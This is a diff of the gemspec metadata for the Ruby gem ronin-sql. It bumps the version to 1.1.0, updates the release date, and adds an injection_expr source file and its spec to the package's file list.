@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: ronin-sql
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.1.0
5
5
  prerelease:
6
6
  platform: ruby
7
7
  authors:
@@ -9,7 +9,7 @@ authors:
9
9
  autorequire:
10
10
  bindir: bin
11
11
  cert_chain: []
12
- date: 2013-01-21 00:00:00.000000000 Z
12
+ date: 2013-01-22 00:00:00.000000000 Z
13
13
  dependencies:
14
14
  - !ruby/object:Gem::Dependency
15
15
  name: bundler
@@ -78,6 +78,7 @@ files:
78
78
  - lib/ronin/sql/function.rb
79
79
  - lib/ronin/sql/functions.rb
80
80
  - lib/ronin/sql/injection.rb
81
+ - lib/ronin/sql/injection_expr.rb
81
82
  - lib/ronin/sql/literal.rb
82
83
  - lib/ronin/sql/literals.rb
83
84
  - lib/ronin/sql/operators.rb
@@ -102,6 +103,7 @@ files:
102
103
  - spec/sql/function_examples.rb
103
104
  - spec/sql/function_spec.rb
104
105
  - spec/sql/functions_spec.rb
106
+ - spec/sql/injection_expr_spec.rb
105
107
  - spec/sql/injection_spec.rb
106
108
  - spec/sql/literal_spec.rb
107
109
  - spec/sql/literals_spec.rb